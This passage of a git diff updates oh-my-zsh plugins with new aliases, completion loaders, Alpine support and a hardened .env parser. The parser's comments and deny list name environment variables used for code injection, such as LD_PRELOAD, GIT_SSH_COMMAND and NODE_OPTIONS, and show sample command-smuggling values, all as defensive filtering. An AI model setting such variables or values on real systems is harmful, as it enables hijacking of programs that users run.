     xprop -root _NET_ACTIVE_WINDOW 2>/dev/null | cut -d' ' -f5
   else
@@ -106,6 +109,12 @@ function bgnotify_find_sway_appid {
   fi
 }
 
+function bgnotify_find_niri_appid {
+  if (( ${+commands[jq]} )); then
+    niri msg -j windows | jq '.[] | select(.is_focused) | {app_id, id} | join(",")'
+  fi
+}
+
 function bgnotify_programid {
   case "$TERM_PROGRAM" in
     iTerm.app) echo 'com.googlecode.iterm2' ;;

plugins/brew/README.md

@@ -17,6 +17,12 @@ If `brew` is not found in the PATH, this plugin will attempt to find it in commo
 In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to
 the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment.
 
+### sbin directory
+
+This plugin also adds `$HOMEBREW_PREFIX/sbin` to the PATH if the directory exists and isn't already present.
+Some Homebrew formulae (e.g. `mtr`) install executables to `sbin`, which `brew doctor` checks for. This
+ensures the `bdr` alias runs without warnings.
+
 ## Aliases
 
 | Alias    | Command                                 | Description                                                           |
@@ -40,7 +46,7 @@ the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environmen
 | `bo`     | `brew outdated`                         | List installed formulae that have an updated version available.       |
 | `br`     | `brew reinstall`                        | Reinstall a formula.                                                  |
 | `brewp`  | `brew pin`                              | Pin a specified formula so that it's not upgraded.                    |
-| `brews`  | `brew list -1`                          | List installed formulae or the installed files for a given formula.   |
+| `brews`  | _function_                              | List installed leaf formulae with their dependencies, then casks.     |
 | `brewsp` | `brew list --pinned`                    | List pinned formulae, or show the version of a given formula.         |
 | `brh`    | `brew reinstall --HEAD`                 | Reinstall a formula with --HEAD                                       |
 | `bs`     | `brew search`                           | Perform a substring search of cask tokens and formula names for text. |

plugins/brew/brew.plugin.zsh

@@ -30,6 +30,16 @@ if [[ -z "$HOMEBREW_PREFIX" ]]; then
   export HOMEBREW_PREFIX="$(brew --prefix)"
 fi
 
+# Add Homebrew sbin to PATH if it exists and is not already in PATH.
+# Homebrew's shellenv only adds bin directories, not sbin. Some formulae
+# (e.g. mtr) install executables to sbin, and brew doctor warns if it's
+# missing from PATH.
+if [[ -d "$HOMEBREW_PREFIX/sbin" ]]; then
+  if [[ ! "$PATH" == *"$HOMEBREW_PREFIX/sbin"* ]]; then
+    export PATH="$HOMEBREW_PREFIX/sbin:$PATH"
+  fi
+fi
+
 if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then
   fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions")
 fi

plugins/buf/buf.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_buf" ]]; then
 fi
 
 # Generate and load buf completion
-buf completion zsh >! "$ZSH_CACHE_DIR/completions/_buf" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_buf"
+  zf_mv -f -- =( buf completion zsh ) "$TMPPREFIX"
+} &|

plugins/bun/bun.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_bun" ]]; then
   _comps[bun]=_bun
 fi
 
-SHELL=zsh bun completions >| "$ZSH_CACHE_DIR/completions/_bun" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_bun"
+  zf_mv -f -- =( SHELL=zsh bun completions ) "$TMPPREFIX"
+} &|

plugins/bundler/README.md

@@ -11,18 +11,19 @@ plugins=(... bundler)
 
 ## Aliases
 
-| Alias  | Command                              | Description                                                                              |
-|--------|--------------------------------------|------------------------------------------------------------------------------------------|
-| `ba`   | `bundle add`                         | Add gem to the Gemfile and run bundle install                                            |
-| `bck`  | `bundle check`                       | Verifies if dependencies are satisfied by installed gems                                 |
-| `bcn`  | `bundle clean`                       | Cleans up unused gems in your bundler directory                                          |
-| `be`   | `bundle exec`                        | Execute a command in the context of the bundle                                           |
-| `bi`   | `bundle install --jobs=<core_count>` | Install the dependencies specified in your Gemfile (using all cores in bundler >= 1.4.0) |
-| `bl`   | `bundle list`                        | List all the gems in the bundle                                                          |
-| `bo`   | `bundle open`                        | Opens the source directory for a gem in your bundle                                      |
-| `bout` | `bundle outdated`                    | List installed gems with newer versions available                                        |
-| `bp`   | `bundle package`                     | Package your needed .gem files into your application                                     |
-| `bu`   | `bundle update`                      | Update your gems to the latest available versions                                        |
+| Alias  | Command           | Description                                              |
+| ------ | ----------------- | -------------------------------------------------------- |
+| `ba`   | `bundle add`      | Add gem to the Gemfile and run bundle install            |
+| `bck`  | `bundle check`    | Verifies if dependencies are satisfied by installed gems |
+| `bcn`  | `bundle clean`    | Cleans up unused gems in your bundler directory          |
+| `be`   | `bundle exec`     | Execute a command in the context of the bundle           |
+| `bi`   | `bundle install`  | Install the dependencies specified in your Gemfile       |
+| `bl`   | `bundle list`     | List all the gems in the bundle                          |
+| `bo`   | `bundle open`     | Opens the source directory for a gem in your bundle      |
+| `bout` | `bundle outdated` | List installed gems with newer versions available        |
+| `bp`   | `bundle package`  | Package your needed .gem files into your application     |
+| `bu`   | `bundle update`   | Update your gems to the latest available versions          |
+| `bua`  | `bundle update --all` | Update all gems to the latest available versions      |
 
 ## Gem wrapper
 

plugins/bundler/bundler.plugin.zsh

@@ -4,44 +4,13 @@ alias ba="bundle add"
 alias bck="bundle check"
 alias bcn="bundle clean"
 alias be="bundle exec"
-alias bi="bundle_install"
+alias bi="bundle install"
 alias bl="bundle list"
 alias bo="bundle open"
 alias bout="bundle outdated"
 alias bp="bundle package"
 alias bu="bundle update"
-
-## Functions
-
-bundle_install() {
-  # Bail out if bundler is not installed
-  if (( ! $+commands[bundle] )); then
-    echo "Bundler is not installed"
-    return 1
-  fi
-
-  # Bail out if not in a bundled project
-  if ! _within-bundled-project; then
-    echo "Can't 'bundle install' outside a bundled project"
-    return 1
-  fi
-
-  # Check the bundler version is at least 1.4.0
-  autoload -Uz is-at-least
-  local bundler_version=$(bundle version | cut -d' ' -f3)
-  if ! is-at-least 1.4.0 "$bundler_version"; then
-    bundle install "$@"
-    return $?
-  fi
-
-  # If bundler is at least 1.4.0, use all the CPU cores to bundle install
-  if [[ "$OSTYPE" = (darwin|freebsd)* ]]; then
-    local cores_num="$(sysctl -n hw.ncpu)"
-  else
-    local cores_num="$(nproc)"
-  fi
-  BUNDLE_JOBS="$cores_num" bundle install "$@"
-}
+alias bua="bundle update --all"
 
 ## Gem wrapper
 

plugins/cdk/README.md

@@ -0,0 +1,32 @@
+# AWS CDK Plugin
+
+This plugin provides aliases and autocompletion for the [AWS Cloud Development Kit (CDK)](https://aws.amazon.com/cdk/) CLI.
+
+## Usage
+
+Add `cdk` to the plugins array in your `.zshrc`:
+
+```zsh
+plugins=(... cdk)
+```
+
+## Requirements
+
+- [AWS CDK CLI](https://docs.aws.amazon.com/cdk/v2/guide/getting_started.html) installed (`npm install -g aws-cdk`)
+
+## Aliases
+
+| Alias        | Command           | Description                        |
+| ------------ | ----------------- | ---------------------------------- |
+| `cdkl`       | `cdk list`        | List all stacks in the app         |
+| `cdksynth`   | `cdk synth`       | Synthesize CloudFormation template |
+| `cdkdiff`    | `cdk diff`        | Compare deployed vs local stack    |
+| `cdkdeploy`  | `cdk deploy`      | Deploy stack to AWS                |
+| `cdkdestroy` | `cdk destroy`     | Destroy deployed stack             |
+| `cdkboot`    | `cdk bootstrap`   | Bootstrap CDK environment          |
+| `cdkdoc`     | `cdk docs`        | Open CDK documentation             |
+| `cdkinit`    | `cdk init`        | Initialize a new CDK project       |
+| `cdkwatch`   | `cdk watch`       | Watch for changes and auto-deploy  |
+| `cdkctx`     | `cdk context`     | Manage cached context values       |
+| `cdkack`     | `cdk acknowledge` | Acknowledge a notice               |
+| `cdkver`     | `cdk --version`   | Print CDK version                  |

plugins/cdk/_cdk

@@ -0,0 +1,12 @@
+#compdef cdk
+
+# Originally found and adapted from: https://github.com/aws/aws-cdk/discussions/24380#discussioncomment-5158176
+
+local -a reply
+local IFS
+IFS=$'\n' reply=($(COMP_CWORD="$((CURRENT-1))" \
+          COMP_LINE="$BUFFER" \
+          COMP_POINT="$CURSOR" \
+          cdk --get-yargs-completions "${words[@]}"))
+
+_describe 'values' reply

plugins/cdk/cdk.plugin.zsh

@@ -0,0 +1,13 @@
+# Aliases
+alias cdkl='cdk list'
+alias cdksynth='cdk synth'
+alias cdkdiff='cdk diff'
+alias cdkdeploy='cdk deploy'
+alias cdkdestroy='cdk destroy'
+alias cdkboot='cdk bootstrap'
+alias cdkdoc='cdk docs'
+alias cdkinit='cdk init'
+alias cdkwatch='cdk watch'
+alias cdkctx='cdk context'
+alias cdkack='cdk acknowledge'
+alias cdkver='cdk --version'

plugins/celery/README.md

@@ -1,6 +1,6 @@
 # Celery
 
-This plugin provides completion for [Celery](http://www.celeryproject.org/).
+This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/).
 
 To use it add celery to the plugins array in your zshrc file.
 

plugins/charm/charm.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_charm" ]]; then
   _comps[charm]=_charm
 fi
 
-charm completion zsh >| "$ZSH_CACHE_DIR/completions/_charm" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_charm"
+  zf_mv -f -- =( charm completion zsh ) "$TMPPREFIX"
+} &|

plugins/chezmoi/chezmoi.plugin.zsh

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_chezmoi" ]]; then
   _comps[chezmoi]=_chezmoi
 fi
 
-chezmoi completion zsh >| "$ZSH_CACHE_DIR/completions/_chezmoi" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_chezmoi"
+  zf_mv -f -- =( chezmoi completion zsh ) "$TMPPREFIX"
+} &|

plugins/codex/README.md

@@ -0,0 +1,11 @@
+# codex Plugin
+
+## Introduction
+
+This `codex` plugin sets up completion for [codex](https://github.com/openai/codex).
+
+To use it, add `codex` to the plugins array of your zshrc file:
+
+```bash
+plugins=(... codex)
+```

plugins/codex/codex.plugin.zsh

@@ -0,0 +1,18 @@
+# COMPLETION FUNCTION
+if (( ! $+commands[codex] )); then
+  return
+fi
+
+# If the completion file doesn't exist yet, we need to autoload it and
+# bind it to `codex`. Otherwise, compinit will have already done that.
+if [[ ! -f "$ZSH_CACHE_DIR/completions/_codex" ]]; then
+  typeset -g -A _comps
+  autoload -Uz _codex
+  _comps[codex]=_codex
+fi
+
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_codex"
+  zf_mv -f -- =( codex completion zsh < /dev/null 2> /dev/null ) "$TMPPREFIX"
+} &|

plugins/command-not-found/README.md

@@ -32,5 +32,6 @@ It works out of the box with the command-not-found packages for:
 - [SUSE](https://www.unix.com/man-page/suse/1/command-not-found/)
 - [Gentoo](https://github.com/AndrewAmmerlaan/command-not-found-gentoo/tree/main)
 - [Void Linux](https://codeberg.org/classabbyamp/xbps-command-not-found)
+- [Alpine Linux](https://pkgs.alpinelinux.org/package/edge/main/x86_64/command-not-found)
 
 You can add support for other platforms by submitting a Pull Request.

plugins/command-not-found/command-not-found.plugin.zsh

@@ -74,3 +74,10 @@ if [[ -x /usr/bin/command-not-found ]]; then
     /usr/bin/command-not-found "$1"
   }
 fi
+
+# Alpine: https://gitlab.alpinelinux.org/alpine/aports/-/blob/master/main/command-not-found/APKBUILD
+if [[ -x /usr/libexec/command-not-found ]]; then
+  command_not_found_handler() {
+    /usr/libexec/command-not-found "$1"
+  }
+fi

plugins/common-aliases/README.md

@@ -99,18 +99,21 @@ $ find . -type f 2>/dev/null
 ## File extension aliases
 
 These are special aliases that are triggered when a file name is passed as the command. For example,
-if the pdf file extension is aliased to `acroread` (a popular Linux pdf reader), when running `file.pdf`
-that file will be open with `acroread`.
+if the pdf file extension is aliased to `open_command`, running `file.pdf` opens that file with
+whatever application your system uses for PDFs.
 
 ### Reading Docs
 
-| Alias | Command    | Description                        |
-| ----- | ---------- | ---------------------------------- |
-| pdf   | `acroread` | Opens up a document using acroread |
-| ps    | `gv`       | Opens up a .ps file using gv       |
-| dvi   | `xdvi`     | Opens up a .dvi file using xdvi    |
-| chm   | `xchm`     | Opens up a .chm file using xchm    |
-| djvu  | `djview`   | Opens up a .djvu file using djview |
+These use `open_command`, which picks the right opener for your platform: `open` on macOS,
+`xdg-open` on Linux, `cygstart` on Cygwin.
+
+| Alias | Command        | Description                                     |
+| ----- | -------------- | ----------------------------------------------- |
+| pdf   | `open_command` | Opens up a .pdf file in your default viewer     |
+| ps    | `open_command` | Opens up a .ps file in your default viewer      |
+| dvi   | `open_command` | Opens up a .dvi file in your default viewer     |
+| chm   | `open_command` | Opens up a .chm file in your default viewer     |
+| djvu  | `open_command` | Opens up a .djvu file in your default viewer    |
 
 ### Listing files inside a packed file
 

plugins/common-aliases/common-aliases.plugin.zsh

@@ -71,14 +71,11 @@ if is-at-least 4.2.0; then
   _media_fts=(ape avi flv m4a mkv mov mp3 mpeg mpg ogg ogm rm wav webm)
   for ft in $_media_fts; do alias -s $ft=mplayer; done
 
-  #read documents
-  alias -s pdf=acroread
-  alias -s ps=gv
-  alias -s dvi=xdvi
-  alias -s chm=xchm
-  alias -s djvu=djview
+  # read documents with the platform's default application
+  _doc_fts=(pdf ps dvi chm djvu)
+  for ft in $_doc_fts; do alias -s $ft=open_command; done
 
-  #list whats inside packed file
+  #list what's inside packed file
   alias -s zip="unzip -l"
   alias -s rar="unrar l"
   alias -s tar="tar tf"

plugins/deno/README.md

@@ -4,17 +4,17 @@ This plugin sets up completion and aliases for [Deno](https://deno.land).
 
 ## Aliases
 
-| Alias | Full command        |
-| ----- | ------------------- |
-| db    | deno bundle         |
-| dc    | deno compile        |
-| dca   | deno cache          |
-| dfmt  | deno fmt            |
-| dh    | deno help           |
-| dli   | deno lint           |
-| drn   | deno run            |
-| drA   | deno run -A         |
-| drw   | deno run --watch    |
-| dru   | deno run --unstable |
-| dts   | deno test           |
-| dup   | deno upgrade        |
+| Alias | Full command     |
+| ----- | ---------------- |
+| dc    | deno compile     |
+| dca   | deno cache       |
+| dck   | deno check       |
+| dfmt  | deno fmt         |
+| dh    | deno help        |
+| dli   | deno lint        |
+| drn   | deno run         |
+| drA   | deno run -A      |
+| drw   | deno run --watch |
+| dsv   | deno serve       |
+| dts   | deno test        |
+| dup   | deno upgrade     |

plugins/deno/deno.plugin.zsh

@@ -1,14 +1,14 @@
 # ALIASES
-alias db='deno bundle'
 alias dc='deno compile'
 alias dca='deno cache'
+alias dck='deno check'
 alias dfmt='deno fmt'
 alias dh='deno help'
 alias dli='deno lint'
 alias drn='deno run'
 alias drA='deno run -A'
 alias drw='deno run --watch'
-alias dru='deno run --unstable'
+alias dsv='deno serve'
 alias dts='deno test'
 alias dup='deno upgrade'
 
@@ -25,4 +25,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_deno" ]]; then
   _comps[deno]=_deno
 fi
 
-deno completions zsh >| "$ZSH_CACHE_DIR/completions/_deno" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_deno"
+  zf_mv -f -- =( deno completions zsh ) "$TMPPREFIX"
+} &|

plugins/dnf/README.md

@@ -15,18 +15,19 @@ of `dnf5` and uses it as drop-in alternative to the slower `dnf`.
 
 ## Aliases
 
-| Alias | Command                 | Description              |
-|-------|-------------------------|--------------------------|
-| dnfl  | `dnf list`              | List packages            |
-| dnfli | `dnf list installed`    | List installed packages  |
-| dnfgl | `dnf grouplist`         | List package groups      |
-| dnfmc | `dnf makecache`         | Generate metadata cache  |
-| dnfp  | `dnf info`              | Show package information |
-| dnfs  | `dnf search`            | Search package           |
-| **Use `sudo`**                                             |
-| dnfu  | `sudo dnf upgrade`      | Upgrade package          |
-| dnfi  | `sudo dnf install`      | Install package          |
-| dnfgi | `sudo dnf groupinstall` | Install package group    |
-| dnfr  | `sudo dnf remove`       | Remove package           |
-| dnfgr | `sudo dnf groupremove`  | Remove package group     |
-| dnfc  | `sudo dnf clean all`    | Clean cache              |
+| Alias | Command                       | Description                              |
+|-------|-------------------------------|------------------------------------------|
+| dnfl  | `dnf list`                    | List packages                            |
+| dnfli | `dnf list --installed`        | List installed packages                  |
+| dnfgl | `dnf grouplist`               | List package groups                      |
+| dnfmc | `dnf makecache`               | Generate metadata cache                  |
+| dnfp  | `dnf info`                    | Show package information                 |
+| dnfs  | `dnf search`                  | Search package                           |
+| **Use `sudo`**                                                                      |
+| dnfu  | `sudo dnf upgrade`            | Upgrade package                          |
+| dnfur | `sudo dnf upgrade --refresh`  | Upgrade package (force metadata refresh) |
+| dnfi  | `sudo dnf install`            | Install package                          |
+| dnfgi | `sudo dnf groupinstall`       | Install package group                    |
+| dnfr  | `sudo dnf remove`             | Remove package                           |
+| dnfgr | `sudo dnf groupremove`        | Remove package group                     |
+| dnfc  | `sudo dnf clean all`          | Clean cache                              |

plugins/dnf/dnf.plugin.zsh

@@ -5,12 +5,13 @@ local dnfprog="dnf"
 command -v dnf5 > /dev/null && dnfprog=dnf5
 
 alias dnfl="${dnfprog} list"                       # List packages
-alias dnfli="${dnfprog} list installed"            # List installed packages
+alias dnfli="${dnfprog} list --installed"          # List installed packages
 alias dnfmc="${dnfprog} makecache"                 # Generate metadata cache
 alias dnfp="${dnfprog} info"                       # Show package information
 alias dnfs="${dnfprog} search"                     # Search package
 
 alias dnfu="sudo ${dnfprog} upgrade"               # Upgrade package
+alias dnfur="sudo ${dnfprog} upgrade --refresh"    # Upgrade package and refresh repos
 alias dnfi="sudo ${dnfprog} install"               # Install package
 alias dnfr="sudo ${dnfprog} remove"                # Remove package
 alias dnfc="sudo ${dnfprog} clean all"             # Clean cache

plugins/docker-compose/README.md

@@ -2,7 +2,7 @@
 
 This plugin provides completion for [docker-compose](https://docs.docker.com/compose/) as well as some
 aliases for frequent docker-compose commands.
-This plugin chooses automatically between the legacy `docker-compose` command and the modern 
+This plugin chooses automatically between the legacy `docker-compose` command and the modern
 `docker compose` subcommand, preferring `docker-compose` when both are available.
 
 To use it, add docker-compose to the plugins array of your zshrc file:
@@ -17,6 +17,7 @@ plugins=(... docker-compose)
 |-----------|----------------------------------|----------------------------------------------------------------------------------|
 | dco       | `docker-compose`                 | Docker-compose main command                                                      |
 | dcb       | `docker-compose build`           | Build containers                                                                 |
+| dcc       | `docker-compose config`                 | Parse, resolve and render compose file in canonical format |
 | dce       | `docker-compose exec`            | Execute command inside a container                                               |
 | dcps      | `docker-compose ps`              | List containers                                                                  |
 | dcrestart | `docker-compose restart`         | Restart container                                                                |

plugins/docker-compose/docker-compose.plugin.zsh

@@ -6,6 +6,7 @@
 
 alias dco="$dccmd"
 alias dcb="$dccmd build"
+alias dcc="$dccmd config"
 alias dce="$dccmd exec"
 alias dcps="$dccmd ps"
 alias dcrestart="$dccmd restart"

plugins/docker/README.md

@@ -51,6 +51,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
 | dcin    | `docker container inspect`    | Display detailed information on one or more containers                                   |
 | dcls    | `docker container ls`         | List all the running docker containers                                                   |
 | dclsa   | `docker container ls -a`      | List all running and stopped containers                                                  |
+| dcprune | `docker container prune`      | Remove all stopped containers                                                            |
 | dib     | `docker image build`          | Build an image from a Dockerfile (same as docker build)                                  |
 | dii     | `docker image inspect`        | Display detailed information on one or more images                                       |
 | dils    | `docker image ls`             | List docker images                                                                       |
@@ -64,6 +65,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
 | dndcn   | `docker network disconnect`   | Disconnect a container from a network                                                    |
 | dni     | `docker network inspect`      | Return information about one or more networks                                            |
 | dnls    | `docker network ls`           | List all networks the engine daemon knows about, including those spanning multiple hosts |
+| dnprune | `docker network prune`        | Remove all unused networks                                                               |
 | dnrm    | `docker network rm`           | Remove one or more networks                                                              |
 | dpo     | `docker container port`       | List port mappings or a specific mapping for the container                               |
 | dps     | `docker ps`                   | List all the running docker containers                                                   |
@@ -73,6 +75,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
 | drit    | `docker container run -it`    | Create a new container and start it in an interactive shell                              |
 | drm     | `docker container rm`         | Remove the specified container(s)                                                        |
 | drm!    | `docker container rm -f`      | Force the removal of a running container (uses SIGKILL)                                  |
+| dsprune | `docker system prune`         | Remove unused data                                                                       |
 | dst     | `docker container start`      | Start one or more stopped containers                                                     |
 | drs     | `docker container restart`    | Restart one or more containers                                                           |
 | dsta    | `docker stop $(docker ps -q)` | Stop all running containers                                                              |

plugins/docker/docker.plugin.zsh

@@ -2,6 +2,7 @@ alias dbl='docker build'
 alias dcin='docker container inspect'
 alias dcls='docker container ls'
 alias dclsa='docker container ls -a'
+alias dcprune='docker container prune'
 alias dib='docker image build'
 alias dii='docker image inspect'
 alias dils='docker image ls'
@@ -15,6 +16,7 @@ alias dncn='docker network connect'
 alias dndcn='docker network disconnect'
 alias dni='docker network inspect'
 alias dnls='docker network ls'
+alias dnprune='docker network prune'
 alias dnrm='docker network rm'
 alias dpo='docker container port'
 alias dps='docker ps'
@@ -24,6 +26,7 @@ alias dr='docker container run'
 alias drit='docker container run -it'
 alias drm='docker container rm'
 alias 'drm!'='docker container rm -f'
+alias dsprune='docker system prune'
 alias dst='docker container start'
 alias drs='docker container restart'
 alias dsta='docker stop $(docker ps -q)'
@@ -53,14 +56,19 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_docker" ]]; then
   _comps[docker]=_docker
 fi
 
-{
+zmodload -F zsh/files b:zf_mv
+() {
+
+  local plugin_dir="$1"
+
   # `docker completion` is only available from 23.0.0 on
   # docker version returns `Docker version 24.0.2, build cb74dfcd85`
   # with `s:,:` remove the comma after the version, and select third word of it
   if zstyle -t ':omz:plugins:docker' legacy-completion || \
     ! is-at-least 23.0.0 ${${(s:,:z)"$(command docker --version)"}[3]}; then
-        command cp "${0:h}/completions/_docker" "$ZSH_CACHE_DIR/completions/_docker"
+        command cp "${plugin_dir}/completions/_docker" "$ZSH_CACHE_DIR/completions/_docker"
       else
-        command docker completion zsh | tee "$ZSH_CACHE_DIR/completions/_docker" > /dev/null
+        local TMPPREFIX="$ZSH_CACHE_DIR/completions/_docker"
+        zf_mv -f -- =( command docker completion zsh ) "$TMPPREFIX"
   fi
-} &|
+} "${0:A:h}" &|

plugins/doctl/doctl.plugin.zsh

@@ -14,4 +14,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_doctl" ]]; then
   _comps[doctl]=_doctl
 fi
 
-doctl completion zsh >| "$ZSH_CACHE_DIR/completions/_doctl" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_doctl"
+  zf_mv -f -- =( doctl completion zsh ) "$TMPPREFIX"
+} &|

plugins/dotenv/.zunit.yml

@@ -0,0 +1,9 @@
+tap: false
+directories:
+  tests: tests
+  output: tests/_output
+  support: tests/_support
+time_limit: 0
+fail_fast: false
+allow_risky: false
+verbose: false

plugins/dotenv/README.md

@@ -34,6 +34,25 @@ PORT=3001
 
 You can even mix both formats, although it's probably a bad idea.
 
+Multi-line values are supported using quoted strings:
+
+```sh
+PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEA...
+-----END RSA PRIVATE KEY-----"
+```
+
+Variables defined earlier in the file can be referenced by later entries:
+
+```sh
+BASE_URL=https://example.com
+API_URL=$BASE_URL/api
+ASSETS_URL=${BASE_URL}/assets
+```
+
+Note: only variables defined within the same `.env` file are expanded this way —
+shell environment variables that already exist are **not** substituted.
+
 ## Settings
 
 ### ZSH_DOTENV_FILE
@@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t
 
 No additional configuration is required — the plugin automatically detects and sources named pipes.
 
+## Tests
+
+The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run:
+
+```sh
+cd plugins/dotenv && zunit
+```
+
+> [NOTE!]
+> zunit also requires installing [Revolver](https://github.com/molovo/revolver).
+
 ## Version Control
 
 **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
 
-## Disclaimer
+## Security
 
-This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job.
+The plugin applies several best-effort safeguards when loading a `.env` file:
+
+- **Size limit** — files larger than 10 MiB are rejected to prevent DoS.
+- **Syntax check** — the file is validated with `zsh -fn` before any variables are set.
+- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped.
+- **Forbidden variables** — the following variables are never overwritten, regardless of what the
+  `.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`,
+  `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`,
+  `GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`,
+  `GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special
+  parameters.
+
+These measures are **best-effort** — you are still responsible for the content of your `.env`
+file. Do not use this plugin as a security boundary.
 
 If you need more advanced and feature-rich ENV management, check out these awesome projects:
 

plugins/dotenv/dotenv.plugin.zsh

@@ -7,9 +7,271 @@
 : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
 : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}
 
-
 ## Functions
 
+_parse_dotenv_content() {
+  setopt localoptions extendedglob
+
+  local content="$1"
+  local mode="${2:-export}"
+
+  # Validate mode argument
+  case "$mode" in
+    export|test) ;;
+    *)
+      echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
+      return 1
+      ;;
+  esac
+
+  local node line key value
+  local raw_value expanded prefix remainder var_name escaped_dollar_placeholder
+  local sq dq uq safe
+  local -A parsed_vars
+  local -a nodes lines
+
+  # Parse into command lines separated by `;`, with built-in support for multi-line commands.
+  # (Z:C:) ignores comments and preserves quotes and escapes.
+  #
+  # All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
+  # by joining all elements between ';'.
+  #
+  # Example input:
+  #   VAR1=value1; VAR2=value2
+  #   VAR3="multi
+  #   line value"
+  # Result:
+  #   typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
+  #   typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
+  #
+  nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
+  for node in "${nodes[@]}"; do
+    if [[ "$node" == ";" ]]; then
+      if [[ -n "$line" ]]; then
+        lines+=("$line")
+        line=""
+      fi
+      continue
+    fi
+
+    [[ -z "$line" ]] || line+=" "
+    line+="$node"
+  done
+
+  local -a forbidden_vars=(
+    NODE_OPTIONS
+    BASH_ENV
+    ENV
+    ZDOTDIR
+    ZSH
+    LD_PRELOAD
+    LD_LIBRARY_PATH
+    DYLD_INSERT_LIBRARIES
+    GIT_CONFIG_GLOBAL
+    GIT_DIR
+    GIT_EDITOR
+    GIT_EXTERNAL_DIFF
+    GIT_EXEC_PATH
+    GIT_PAGER
+    GIT_SSH
+    GIT_SSH_COMMAND
+    GIT_SSL_NO_VERIFY
+    GIT_TEMPLATE_DIR
+    VISUAL
+    PAGER
+    EDITOR
+    ${(k)parameters[(R)*export*special]}
+  )
+  local forbidden="${(j:|:)forbidden_vars}"
+
+
+  # Each line contains a single command line, we need to parse valid KEY=VALUE pairs
+  for line in "${lines[@]}"; do
+    # Strip leading 'export ' keyword
+    line="${line#export[ 	]}"
+
+    # Match KEY=VALUE pattern
+    # "A name may be any sequence of alphanumeric characters and underscores"
+    # https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
+    if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
+      continue
+    fi
+
+    key="${match[1]}"
+    value="${match[2]}"
+    raw_value="$value"
+
+    # Filter out variables to be ignored for security reasons (best effort)
+    if [[ "$key" == (${~forbidden}) ]]; then
+      continue
+    fi
+
+    # Use tokenization to split value with native shell parsing (handles quotes and escapes)
+    # Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
+    local -a words
+    words=("${(@z)value}")
+    if [[ ${#words} -ne 1 ]]; then
+      continue
+    fi
+
+    ## START: FILTER COMMAND EXPANSION
+    #
+    # Filter lines with command expansion not in safe contexts
+    #
+    # READER'S NOTE: this is actually a "best effort" check (works in tests), but
+    # only to prevent setting variables with command substitution. The actual effect
+    # of setting them would not be a vulnerability, because we use `typeset name=value`
+    # and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
+    #
+    # What does this mean? If we were to remove this filter block, this is what would happen:
+    #
+    # Input: DANGEROUS=$(echo this is a command)
+    # Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
+    #
+    # Check for potential command substitution outside of safe contexts
+    # - single-quoted strings: command substitution is literal there
+    sq="'[^']#'"
+    # - double-quoted strings, but NOT unescaped ` or $(
